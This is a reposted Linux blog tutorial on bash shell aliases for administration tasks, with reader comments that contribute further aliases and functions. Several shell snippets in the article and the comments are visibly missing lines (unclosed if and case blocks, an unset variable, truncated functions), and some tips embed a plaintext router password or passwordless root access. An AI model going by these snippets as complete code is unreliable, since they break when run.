måndag 2 februari 2015

Linux - 30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X

by on June 11, 2012 · 144 comments· LAST UPDATED December 9, 2014
An alias is nothing but shortcut to commands. The alias command allows user to launch any command or group of commands (including options and filenames) by entering a single word. Use alias command to display list of all defined aliases. You can add user defined aliases to ~/.bashrc file. You can cut down typing time with these aliases, work smartly, and increase productivity at the command prompt.

More about aliases

The general syntax for the alias command for the bash shell is as follows.

Task: List aliases

Type the following command:
Sample outputs:
alias ..='cd ..'
alias amazonbackup='s3backup'
alias apt-get='sudo apt-get'
By default alias command shows a list of aliases that are defined for the current user.

Task: Define / create an alias (bash syntax)

To create the alias use the following syntax:
alias name=value
alias name='command'
alias name='command arg1 arg2'
alias name='/path/to/script'
alias name='/path/to/script.pl arg1'
In this example, create the alias c for the commonly used clear command, which clears the screen, by typing the following command and then pressing the ENTER key:
alias c='clear'
Then, to clear the screen, instead of typing clear, you would only have to type the letter 'c' and press the [ENTER] key:

Task: Disable an alias temporarily (bash syntax)

An alias can be disabled temporarily using the following syntax:
## path/to/full/command
## call alias with a backslash ##

Task: Remove an alias (bash syntax)

You need to use the command called unalias to remove aliases. Its syntax is as follows:
unalias aliasname
In this example, remove the alias c which was created in an earlier example:
unalias c
You also need to delete the alias from the ~/.bashrc file using a text editor (see next section).

Task: Make aliases permanent (bash syntax)

The alias c remains in effect only during the current login session. Once you logs out or reboot the system the alias c will be gone. To avoid this problem, add alias to your ~/.bashrc file, enter:
vi ~/.bashrc
The alias c for the current user can be made permanent by entering the following line:
alias c='clear'
Save and close the file. System-wide aliases (i.e. aliases for all users) can be put in the /etc/bashrc file. Please note that the alias command is built into a various shells including ksh, tcsh/csh, ash, bash and others.

A note about privileged access

You can add code as follows in ~/.bashrc:
# if user is not root, pass all commands via sudo #
if [ $UID -ne 0 ]; then
    alias reboot='sudo reboot'
    alias update='sudo apt-get upgrade'

A note about os specific aliases

You can add code as follows in ~/.bashrc using the case statement:
### Get os name via uname ###
### add alias as per os using $_myos ###
case $_myos in
   Linux) alias foo='/path/to/linux/bin/foo';;
   FreeBSD|OpenBSD) alias foo='/path/to/bsd/bin/foo' ;;
   SunOS) alias foo='/path/to/sunos/bin/foo' ;;
   *) ;;

30 uses for aliases

You can define various types aliases as follows to save time and increase productivity.

#1: Control ls command output

The ls command lists directory contents and you can colorize the output:
## Colorize the ls output ##
alias ls='ls --color=auto'
## Use a long listing format ##
alias ll='ls -la'
## Show hidden files ##
alias l.='ls -d .* --color=auto'

#2: Control cd command behavior

## get rid of command not found ##
alias cd..='cd ..'
## a quick way to get out of current directory ##
alias ..='cd ..'
alias ...='cd ../../../'
alias ....='cd ../../../../'
alias .....='cd ../../../../'
alias .4='cd ../../../../'
alias .5='cd ../../../../..'

#3: Control grep command output

grep command is a command-line utility for searching plain-text files for lines matching a regular expression:
## Colorize the grep command output for ease of use (good for log files)##
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'

#4: Start calculator with math support

alias bc='bc -l'

#4: Generate sha1 digest

alias sha1='openssl sha1'

#5: Create parent directories on demand

mkdir command is used to create a directory:
alias mkdir='mkdir -pv'

#6: Colorize diff output

You can compare files line by line using diff and use a tool called colordiff to colorize diff output:
# install  colordiff package :)
alias diff='colordiff'

#7: Make mount command output pretty and human readable format

alias mount='mount |column -t'

#8: Command short cuts to save time

# handy short cuts #
alias h='history'
alias j='jobs -l'

#9: Create a new set of commands

alias path='echo -e ${PATH//:/\\n}'
alias now='date +"%T"'
alias nowtime=now
alias nowdate='date +"%d-%m-%Y"'

#10: Set vim as default

alias vi=vim
alias svi='sudo vi'
alias vis='vim "+set si"'
alias edit='vim'

#11: Control output of networking tool called ping

# Stop after sending count ECHO_REQUEST packets #
alias ping='ping -c 5'
# Do not wait interval 1 second, go fast #
alias fastping='ping -c 100 -s.2'

#12: Show open ports

Use netstat command to quickly list all TCP/UDP port on the server:
alias ports='netstat -tulanp'

#13: Wakeup sleeping servers

Wake-on-LAN (WOL) is an Ethernet networking standard that allows a server to be turned on by a network message. You can quickly wakeup nas devices and server using the following aliases:
## replace mac with your actual server mac address #
alias wakeupnas01='/usr/bin/wakeonlan 00:11:32:11:15:FC'
alias wakeupnas02='/usr/bin/wakeonlan 00:11:32:11:15:FD'
alias wakeupnas03='/usr/bin/wakeonlan 00:11:32:11:15:FE'

#14: Control firewall (iptables) output

Netfilter is a host-based firewall for Linux operating systems. It is included as part of the Linux distribution and it is activated by default. This post list most common iptables solutions required by a new Linux user to secure his or her Linux operating system from intruders.
## shortcut  for iptables and pass it via sudo#
alias ipt='sudo /sbin/iptables'
# display all rules #
alias iptlist='sudo /sbin/iptables -L -n -v --line-numbers'
alias iptlistin='sudo /sbin/iptables -L INPUT -n -v --line-numbers'
alias iptlistout='sudo /sbin/iptables -L OUTPUT -n -v --line-numbers'
alias iptlistfw='sudo /sbin/iptables -L FORWARD -n -v --line-numbers'
alias firewall=iptlist

#15: Debug web server / cdn problems with curl

# get web server headers #
alias header='curl -I'
# find out if remote server supports gzip / mod_deflate or not #
alias headerc='curl -I --compress'

#16: Add safety nets

# do not delete / or prompt if deleting more than 3 files at a time #
alias rm='rm -I --preserve-root'
# confirmation #
alias mv='mv -i'
alias cp='cp -i'
alias ln='ln -i'
# Parenting changing perms on / #
alias chown='chown --preserve-root'
alias chmod='chmod --preserve-root'
alias chgrp='chgrp --preserve-root'

#17: Update Debian Linux server

apt-get command is used for installing packages over the internet (ftp or http). You can also upgrade all packages in a single operations:
# distro specific  - Debian / Ubuntu and friends #
# install with apt-get
alias apt-get="sudo apt-get"
alias updatey="sudo apt-get --yes"
# update on one command 
alias update='sudo apt-get update && sudo apt-get upgrade'

#18: Update RHEL / CentOS / Fedora Linux server

yum command is a package management tool for RHEL / CentOS / Fedora Linux and friends:
## distrp specifc RHEL/CentOS ##
alias update='yum update'
alias updatey='yum -y update'

#19: Tune sudo and su

# become root #
alias root='sudo -i'
alias su='sudo -i'

#20: Pass halt/reboot via sudo

shutdown command bring the Linux / Unix system down:
# reboot / halt / poweroff
alias reboot='sudo /sbin/reboot'
alias poweroff='sudo /sbin/poweroff'
alias halt='sudo /sbin/halt'
alias shutdown='sudo /sbin/shutdown'

#21: Control web servers

# also pass it via sudo so whoever is admin can reload it without calling you #
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'
alias nginxtest='sudo /usr/local/nginx/sbin/nginx -t'
alias lightyload='sudo /etc/init.d/lighttpd reload'
alias lightytest='sudo /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf -t'
alias httpdreload='sudo /usr/sbin/apachectl -k graceful'
alias httpdtest='sudo /usr/sbin/apachectl -t && /usr/sbin/apachectl -t -D DUMP_VHOSTS'

#22: Alias into our backup stuff

# if cron fails or if you want backup on demand just run these commands # 
# again pass it via sudo so whoever is in admin group can start the job #
# Backup scripts #
alias backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type local --taget /raid1/backups'
alias nasbackup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01'
alias s3backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01 --auth /home/scripts/admin/.authdata/amazon.keys'
alias rsnapshothourly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotdaily='sudo  /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotweekly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotmonthly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias amazonbackup=s3backup

#23: Desktop specific - play avi/mp3 files on demand

## play video files in a current directory ##
# cd ~/Download/movie-name 
# playavi or vlc 
alias playavi='mplayer *.avi'
alias vlc='vlc *.avi'
# play all music files from the current directory #
alias playwave='for i in *.wav; do mplayer "$i"; done'
alias playogg='for i in *.ogg; do mplayer "$i"; done'
alias playmp3='for i in *.mp3; do mplayer "$i"; done'
# play files from nas devices #
alias nplaywave='for i in /nas/multimedia/wave/*.wav; do mplayer "$i"; done'
alias nplayogg='for i in /nas/multimedia/ogg/*.ogg; do mplayer "$i"; done'
alias nplaymp3='for i in /nas/multimedia/mp3/*.mp3; do mplayer "$i"; done'
# shuffle mp3/ogg etc by default #
alias music='mplayer --shuffle *'

#24: Set default interfaces for sys admin related commands

vnstat is console-based network traffic monitor. dnstop is console tool to analyze DNS traffic. tcptrack and iftop commands displays information about TCP/UDP connections it sees on a network interface and display bandwidth usage on an interface by host respectively.
## All of our servers eth1 is connected to the Internets via vlan / router etc  ##
alias dnstop='dnstop -l 5  eth1'
alias vnstat='vnstat -i eth1'
alias iftop='iftop -i eth1'
alias tcpdump='tcpdump -i eth1'
alias ethtool='ethtool eth1'
# work on wlan0 by default #
# Only useful for laptop as all servers are without wireless interface
alias iwconfig='iwconfig wlan0'

#25: Get system memory, cpu usage, and gpu memory info quickly

## pass options to free ## 
alias meminfo='free -m -l -t'
## get top process eating memory
alias psmem='ps auxf | sort -nr -k 4'
alias psmem10='ps auxf | sort -nr -k 4 | head -10'
## get top process eating cpu ##
alias pscpu='ps auxf | sort -nr -k 3'
alias pscpu10='ps auxf | sort -nr -k 3 | head -10'
## Get server cpu info ##
alias cpuinfo='lscpu'
## older system use /proc/cpuinfo ##
##alias cpuinfo='less /proc/cpuinfo' ##
## get GPU ram on desktop / laptop## 
alias gpumeminfo='grep -i --color memory /var/log/Xorg.0.log'

#26: Control Home Router

The curl command can be used to reboot Linksys routers.
# Reboot my home Linksys WAG160N / WAG54 / WAG320 / WAG120N Router / Gateway from *nix.
alias rebootlinksys="curl -u 'admin:my-super-password' ''"
# Reboot tomato based Asus NT16 wireless bridge 
alias reboottomato="ssh admin@ /sbin/reboot"

#27 Resume wget by default

The GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, and it can resume downloads too:
## this one saved by butt so many times ##
alias wget='wget -c'

#28 Use different browser for testing website

## this one saved by butt so many times ##
alias ff4='/opt/firefox4/firefox'
alias ff13='/opt/firefox13/firefox'
alias chrome='/opt/google/chrome/chrome'
alias opera='/opt/opera/opera'
#default ff 
alias ff=ff13
#my default browser 
alias browser=chrome

#29: A note about ssh alias

Do not create ssh alias, instead use ~/.ssh/config OpenSSH SSH client configuration files. It offers more option. An example:
Host server10
  IdentityFile ~/backups/.ssh/id_dsa
  user foobar
  Port 30000
  ForwardX11Trusted yes
  TCPKeepAlive yes
You can now connect to peer1 using the following syntax:
$ ssh server10

#30: It's your turn to share...

## set some other defaults ##
alias df='df -H'
alias du='du -ch'
# top is atop, just like vi is vim
alias top='atop'
## nfsrestart  - must be root  ##
## refresh nfs mount / cache etc for Apache ##
alias nfsrestart='sync && sleep 2 && /etc/init.d/httpd stop && umount netapp2:/exports/http && sleep 2 && mount -o rw,sync,rsize=32768,wsize=32768,intr,hard,proto=tcp,fsc natapp2:/exports /http/var/www/html &&  /etc/init.d/httpd start'
## Memcached server status  ##
alias mcdstats='/usr/bin/memcached-tool stats'
alias mcdshow='/usr/bin/memcached-tool display'
## quickly flush out memcached server ##
alias flushmcd='echo "flush_all" | nc 11211'
## Remove assets quickly from Akamai / Amazon cdn ##
alias cdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai'
alias amzcdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon'
## supply list of urls via file or stdin
alias cdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai --stdin'
alias amzcdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon --stdin'


This post summaries several types of uses for *nix bash aliases:
  1. Setting default options for a command (e.g. set eth0 as default option - alias ethtool='ethtool eth0' ).
  2. Correcting typos (cd.. will act as cd .. via alias cd..='cd ..').
  3. Reducing the amount of typing.
  4. Setting the default path of a command that exists in several versions on a system (e.g. GNU/grep is located at /usr/local/bin/grep and Unix grep is located at /bin/grep. To use GNU grep use alias grep='/usr/local/bin/grep' ).
  5. Adding the safety nets to Unix by making commands interactive by setting default options. (e.g. rm, mv, and other commands).
  6. Compatibility by creating commands for older operating systems such as MS-DOS or other Unix like operating systems (e.g. alias del=rm ).
I've shared my aliases that I used over the years to reduce the need for repetitive command line typing. If you know and use any other bash/ksh/csh aliases that can reduce typing, share below in the comments.
See also
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{ 144 comments… read them below or add one }
1 mchris June 11, 2012 at 6:37 am
Nice list; found a couple new things I never thought of. To return the favor; my addon..
A nice shell is key in bash imo; I color code my next line based on previous commands return code..
    prevCmd=$(prevCmd $RTN)
    if [ $1 == 0 ] ; then
        echo $GREEN
        echo $RED
if [ $(tput colors) -gt 0 ] ; then
    RED=$(tput setaf 1)
    GREEN=$(tput setaf 2)
    RST=$(tput op)
export PS1="\[\e[36m\]\u.\h.\W\[\e[0m\]\[\$prevCmd\]>\[$RST\]"
And I liked your .{1,2,3,4} mapping; how I integrated it…
for i in 1 2 3 4
    alias $baseName="cd ${dotSlash}"
And two random quick short ones..
#progress bar on file copy. Useful evenlocal.
alias cpProgress="rsync --progress -ravz"
#I find it useful when emailing blurbs to people and want to illustrate long timeout in one pass.
alias ping="time ping"
2 Scott Rowley March 22, 2013 at 2:15 pm
The following is my version of the “up function” I came up with this morning:
# Functions
up () {
        while [[ $COUNTER -gt 0 ]]
          COUNTER=$(( $COUNTER -1 ))
        echo "cd $UP"
        cd $UP
3 linuxnetzer June 11, 2012 at 6:45 am
Show text file without comment (#) lines (Nice alias for /etc files which have tons of comments like /etc/squid.conf)
alias nocomment='grep -Ev '\''^(#|$)'\'''
Usage e.g.:
nocomment /etc/squid.conf
4 nixCraft June 11, 2012 at 6:58 am
@linuxnetzer, nocommand is nice to dump squid, httpd and many others config files.
@mchris, I liked cp alias that can show progress.
Appreciate your comments.
5 Tom Ryder June 11, 2012 at 6:58 am
Ctrl+L is also a nice quick way to clear the terminal.
6 TooManySecrets June 11, 2012 at 7:32 am
This isn’t an alias, but for clear screen is very handy the CTRL+L xDD
Have a nice day ;-)
7 Sean June 11, 2012 at 8:01 am
One that I find useful is:
alias du1='du -d 1'
8 Sergio Luiz Araujo Silva June 11, 2012 at 10:12 am
apt-get with limit
alias apt-get="apt-get -o Acquire::http::Dl-Limit=15"
To open last edited file
alias lvim="vim -c \"normal '0\""
9 Tales Teixeira January 11, 2013 at 1:55 am
Try !vim
10 Sdaiy June 11, 2012 at 12:34 pm
Nice list. Never knew about some of these aliases and commands.
11 satish June 11, 2012 at 1:23 pm
good list, an alias I use commonly
ll “ls -l”
12 oll June 11, 2012 at 2:31 pm
Nice tricks.
But be careful with some aliases (typically the #7 mount), since you won’t be able to use them directly when you pass arguments .
[root@myhost ~]# alias mount=’mount |column -t’
[root@myhost ~]# mount myserver:/share /mnt
column: myserver:/share: No such file or directory
It’s better to use scripts whith these kinds of commands
13 Fumando_Espero January 8, 2013 at 2:32 pm
You are very right in your appreciation. An alias is a “dumb” substitution in that it doesn’t interpret arguments.
14 booczczu May 10, 2013 at 3:19 pm
Do it this way:
alias mountt=’mount |column -t’
(note the double “t”) and than you can use the original mount command to do its job.
15 mchris June 11, 2012 at 2:47 pm
In reply to comment of “Reopen last edited file in vim”, alternative recommendation that will be more portable to other uses…
Can also use history here; if you edited /etc/host 4 files ago; you can just type host and you’re good to go. Works with all commands; I use it constantly.
(Also, is also incredibly useful. Also accepts direct place in previous commands)
16 Rob June 11, 2012 at 3:05 pm
Don’t forget… sl=”ls”. Though Steam Locomotive is funny for a while, this is always the easier solution.
17 nixCraft June 11, 2012 at 4:49 pm
\mount myserver:/share /mnt
And you are done with it. No need to write scripts.
18 esritter June 11, 2012 at 5:22 pm
My bashrc has been with me for over a decade. I love to tinker and modify it a bunch, so I’ve added an alias I borrowed/stole/ganked from someone ages ago:
alias='$EDITOR ~/.bashrc ; source ~/.bashrc'
19 mikaere66 April 1, 2013 at 7:17 pm
Hi esritter … I’m relatively new to Linux, so I don’t understand your alias. Can you please explain?
20 danneu April 10, 2013 at 6:45 am
A more explicit version of that alias (that I use) would look like:
alias bashrc="vim ~/.bashrc && source ~/.bashrc
Basically, it runs `source` for you once you save&exit the file. `source` picks up changes in the file.
21 jkirchartz June 3, 2013 at 5:45 pm
this will open ~/.bashrc in your $EDITOR (which should be set to vim/emacs something) then re-load the ~/.bashrc so your tweaks are available immediately.
22 Babu June 12, 2012 at 3:33 am
Like it ! Thanks.
23 Honeypuck June 12, 2012 at 3:39 am
Nice commands!
In case you would like to be shown the contents of a directory immediately after moving to it by cd DIRECTORY you could define the following function in .bashrc:
cdl()    {
  ls -al;
You can modify the options of ls to meet your needs of course. Next time you switch directories on the command line with 'cdl DIRECTORY' it will automatically execute the command 'ls -al', displaying all subdirectories and files (hidden ones as well when setting the option -a). I hope this will be useful for someone. In case you like the alias, do not forget to change
alias ..='cd ..'
alias ..='cdl ..'
24 sky January 6, 2015 at 7:09 pm
It is really useful but how do you using this on the alias line….
alias …….= ‘………………………..’
25 Rishi G June 12, 2012 at 4:01 am
Here are 4 commands i use for checking out disk usages.
#Grabs the disk usage in the current directory
alias usage='du -ch | grep total'
#Gets the total disk usage on your machine
alias totalusage='df -hl --total | grep total'
#Shows the individual partition usages without the temporary memory values
alias partusage='df -hlT --exclude-type=tmpfs --exclude-type=devtmpfs'
#Gives you what is using the most space. Both directories and files. Varies on
#current directory
alias most='du -hsx * | sort -rh | head -10'
26 shadowbq December 17, 2012 at 2:08 pm
usage is better written as
alias usage=’du -ch 2> /dev/null |tail -1′
27 Mark January 12, 2013 at 6:08 pm
Thank you all for your aliases.
I found this one long time ago and it proved to be useful.
# shoot the fat ducks in your current dir and sub dirs
alias ducks=’du -ck | sort -nr | head’
28 Karsten July 17, 2013 at 9:30 pm
While it would still work, the problem with usage=’du -ch | grep total’ is that you will also get directory names that happen to also have the word ‘total’ in them.
A better way to do this might be: ‘du -ch | tail -1′
29 Karsten July 17, 2013 at 9:57 pm
Over dinner I thought to myself “hmm, what if I want to use the total in a script?” and came up with this in mid entrée:
du -h | awk ‘END{print $1}’
Now you’ll just get something like: 92G
30 James C. Woodburn June 12, 2012 at 11:45 am
I always create a ps2 command that I can easily pass a string to and look for it in the process table. I even have it remove the grep of the current line.
alias ps2=’ps -ef | grep -v $$ | grep -i ‘
31 sbin_bash March 26, 2013 at 1:14 pm
with header:
alias psg=’ps -Helf | grep -v $$ | grep -i -e WCHAN -e ‘
32 Juanma June 12, 2012 at 12:45 pm
Nice post. Thanks.
@oll & Vivek: I’m sure you know this, but to leave trace of it in this page I’ll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
I keep some files under version control, hard-linking to those files into a given folder, so I want find to ignore that folder, and I don’t want to re-think and re-check how to use prune option every time:
function f {
 arg_path=$1 && shift
 find $arg_path -wholename "*/path-to-ignore/*" -prune -o $* -print
33 hhanff June 12, 2012 at 2:15 pm
# This will move you up by one dir when pushing AltGr .
# It will move you back when pushing AltGr Shift .
bind ‘”…”:”pushd ..\n”‘ # AltGr .
bind ‘”÷”:”popd\n”‘ # AltGr Shift .
34 Bill C. June 12, 2012 at 4:58 pm
One more thing to keep in mind is the difference in syntax between shells. I used to work on a system that used HP-UX and Sun Solaris, and the alias commands were different. One system used
alias ll=’ls -l’
and the other one (I can’t remember which was which, sorry) was
alias ll ‘ls -l’
Something to be aware of!
Thanks for this article and the site, V! Keep ‘em coming!
35 old486whizz June 12, 2012 at 5:16 pm
I would use a function for df:
df () {
if [[ “$1″ = “-gt” ]]; then
x=$x” $@”
/bin/df $x -P |column -t

That way you can put “df -k /tmp” (etc).
… I work with AIX a lot, so often end up typing “df -gt”, so that’s why the if statement is there.
I also changed “mount” to “mnt” for the column’s:
alias mnt=”mount |column -t”
36 Art Protin June 12, 2012 at 9:53 pm
Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).
A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did “rm *” in the customer’s work directory and all he got was the prompt for the next command after rm had done what it was told to do.
It you want a safety net, do “alias del=’rm -I –preserve_root'”,
37 Drew Hammond March 26, 2014 at 7:41 pm
^ This x10000.
I’ve made the same mistake before and its horrible.
38 Opt June 13, 2012 at 12:22 am
Great post I’ve been looking for something like this I always tend to go about things the long way round. With these alias and some shell scripting I’m really starting to cut down on wasted time!
Thanks again!
39 Blue Thing June 13, 2012 at 6:19 am
I use this one when I need to find the files that has been added/modified most recently:
alias lt=’ls -alrt’
40 tef June 14, 2012 at 4:56 pm
# file tree
alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
#turn screen off
alias screenoff="xset dpms force off"
# list folders by size in current directory
alias usage="du -h --max-depth=1 | sort -rh"
# e.g., up -> go up 1 directory
# up 4 -> go up 4 directories
    if [[ $1 =~ ^[0-9]+$ ]]; then
        while [ $x -lt ${1:-1} ]; do
    cd "$dir";
41 tef June 14, 2012 at 7:38 pm
might be a repost, oops
# ganked these from people
#not an alias, but I thought this simpler than the cd control
#If you pass no arguments, it just goes up one directory.
#If you pass a numeric argument it will go up that number of directories.
#If you pass a string argument, it will look for a parent directory with that name and go up to it.
    if [ -z "$1" ]; then
    elif [[ $1 =~ ^[0-9]+$ ]]; then
        while [ $x -lt ${1:-1} ]; do
    cd "$dir";
#turn screen off
alias screenoff="xset dpms force off"
#quick file tree
alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
42 em June 20, 2012 at 5:31 am
a little mistake, not really important if you don’t copy/paste like a dumbass :-)
alias iptlistfw=’sudo /sbin/iptables -L FORWORD -n -v –line-numbers’
it is “FORWARD”, not “FORWORD”
43 nixCraft June 20, 2012 at 6:34 am
Thanks for the heads up.
44 nishanth July 20, 2012 at 4:38 am
In “Task: Disable an alias temporarily (bash syntax)”
## path/to/full/command
## call alias with a backslash ##
\c ===> This should be \clear right?
45 Biocyberman October 22, 2012 at 9:07 am
Previously he set the alias:
alias c=’clear’
so \c is correct.
46 O-Deka-K March 12, 2013 at 3:34 pm
True, but unless you have a program called ‘c’, this doesn’t do anything useful. The example doesn’t really illustrate the point. This one is better:
## Interactive remove
alias rm='rm -i'
## Call the alias (interactive remove)
## Call the original command (non-interactive remove)
47 kioopi November 26, 2012 at 9:55 am
alias tgrep='rgrep --binary-files=without-match'
alias serve='python -m SimpleHTTPServer'
48 Mac Maha November 27, 2012 at 9:58 am
I used it this way.
I added myself to visudo file with nopasswd privileges.
so that I don’t have to type password when I do “sudo su -“.
Then created alias root=’sudo su -‘
This enables me to log in to root with just “root”.
by the ways the article is very helpful for everyone who works on linux servers or desktops on everyday basis.
Mac Maha.
49 Larry Helms December 2, 2012 at 11:00 pm
I move across various *nix type OSes. I have found that it’s easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:
All I have to do then in .bashrc, or .profile, whatever is do this:
OS=$( uname | tr '[:upper:]' ':[lower:]')
. $HOME/.aliases-${OS}
. $HOME/.environment_variables-${OS}
for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
  . ${SCRIPT}
50 EW1(SG) January 1, 2013 at 3:38 pm
And Larry wins the thread going away!
51 Martin December 4, 2012 at 9:31 am
i have 2 more that haven’t been posted yet:
helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)
alias pbcopy='xsel --clipboard --input'
alias pbpaste='xsel --clipboard --output'
and something I use rather frequently when people chose funny file/directory names (sad enough):
chr() {
  printf \\$(printf '%03o' $1)
ord() {
  printf '%d' "'$1"
52 Martin December 4, 2012 at 9:33 am
the pb* aliases are especially for piping output to the clipboard and vice versa
53 Tom December 20, 2012 at 2:18 pm
That was a great list. Here are some of mine:
I use cdbin to cd into a bin folder that is many subdirectories deep:
alias cdbin='cd "/mnt/shared/Dropbox/My Documents/Linux/bin/"'
I can never remember the sync command.
alias flush=sync
I search the command history a lot:
alias hg='history|grep '
My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.
alias restsmb='sudo service smb restart'
I’m surprised that nobody else suggested these:
alias syi='sudo yum install'
alias sys='sudo yum search'
54 zork January 16, 2013 at 4:59 pm
I find these aliases are helpful
alias up1="cd .."
# edit multiple files split horizontally or vertically
alias   e="vim -o "
alias   E="vim -O "
# directory-size-date (remove the echo/blank line if you desire)
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
# show executables only
alias   dsdx="ls -FlA | grep \*"
# show non-executables
alias   dsdnx="ls -FlA | grep -v \*"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
# only file without an extension
alias noext='dsd | egrep -v "\.|/"'
# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain paths from pwd
alias   ttbx="titlebar"
# titlebar
if [ $# -lt 1 ]
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
echo -ne "33]0;`echo $ttb`07"
alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
alias info='clear;machine;pwd'
55 Tom Hand January 18, 2013 at 5:47 am
A couple you might mind useful.
alias trace='mtr --report-wide --curses $1'
alias killtcp='sudo ngrep -qK 1 $1 -d wlan0'
alias usage='ifconfig wlan0 | grep 'bytes''
alias connections='sudo lsof -n -P -i +c 15'
56 pidegat January 25, 2013 at 7:24 pm
to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !
57 nyuszika7h February 7, 2013 at 4:43 pm
You should check $EUID, not $UID, because if the effective user ID isn’t 0, you aren’t root, but if the real/saved user UID is 0, you can seteuid(0) to become root.
58 nyuszika7h February 7, 2013 at 4:47 pm
Reply to Tom (#42):
(1) Using `hg’ for `history –grep’ is probably not a good idea if you’re ever going to work with Mercurial SCM.
(2) Using sudo for `yum search’ is entirely pointless, you don’t need to be root to search the package cache.
59 Karthik February 14, 2013 at 10:12 am
alias up1="cd .."
# edit multiple files split horizontally or vertically
alias   e="vim -o "
alias   E="vim -O "
# directory-size-date (remove the echo/blank line if you desire)
alias dsd="echo;ls -Fla"
alias   dsdm="ls -FlAh | more"
# show directories only
alias   dsdd="ls -FlA | grep :*/"
# show executables only
alias   dsdx="ls -FlA | grep \*"
# show non-executables
alias   dsdnx="ls -FlA | grep -v \*"
# order by date
alias   dsdt="ls -FlAtr "
# dsd plus sum of file sizes
alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
# only file without an extension
alias noext='dsd | egrep -v "\.|/"'
# send pwd to titlebar in puttytel
alias   ttb='echo -ne "33]0;`pwd`07"'
# send parameter to titlebar if given, else remove certain paths from pwd
alias   ttbx="titlebar"
# titlebar
if [ $# -lt 1 ]
    ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
echo -ne "33]0;`echo $ttb`07"
alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
alias info='clear;machine;pwd'
60 Benito November 3, 2014 at 5:05 am
I will add:
# file tree of directories only
alias dirtree="ls -R | grep :*/ | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'"
61 John Ko February 15, 2013 at 10:57 pm
I’m surprised no one has mentioned:
alias ls=’ls -F’
It will show * after executables, / after directories and @ after links.
62 zork March 25, 2013 at 6:03 pm
John (Ko),
The variations of dsd that I gave all include -F
Give them a try.
63 John Ko February 15, 2013 at 11:01 pm
And for you vi(m) lovers out there, in my .bashrc:
set -o vi
esc j,k for searching history using vi semantics. edit line using w, dw, b, F or whatever other as if in vi. Occasionally need to watch that if in command mode, need to press i first so you can actually go back to inserting as opposed to not seeing anything as you attempt to type.
set -o emacs
to get back out of this mode if you want to restore it what others have used.
64 Erin February 16, 2013 at 7:44 am
Here are some tidbits I’ve setup to help troubleshoot things quickly
This one pings a router quickly
alias pr=”ping \`netstat -nr| grep -m 1 -iE ‘default|′ | awk ‘{print \$2}’\`”
This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping
export SN=`netstat -nr| grep -m 1 -iE ‘default|′ | awk ‘{print \$2}’ | sed ‘s/\.[0-9]*$//’ `
ping $SN.254
nmap -p 80 $SN.*
This command which I just named ‘p’ will call ping and auto populate your current subnet. You’d call it like this to ping the router p 1
[ “$#” -eq 1 ] || exit “1 argument required, $# provided”
echo $1 | grep -E -q ‘^[0-9]+$’ || exit “Numeric argument required, $1 provided”
export HOST=$1
export SUBNET=`netstat -nr| grep -m 1 -iE ‘default|′ | awk ‘{print \$2}’`
export IP=`echo $SUBNET | sed s/\.[0-9]*$/.$HOST/`
ping $IP
Quickly reload your .bashrc or .bash_profile
alias rl=’. ~/.bash_profile’
65 Flack February 22, 2013 at 8:44 pm
Clear xterm buffer cache
alias clearx="echo -e '/0033/0143'"
Contrary to the clear command that only cleans the visible terminal area. AFAIK It’s not an universal solution but it worths a try.
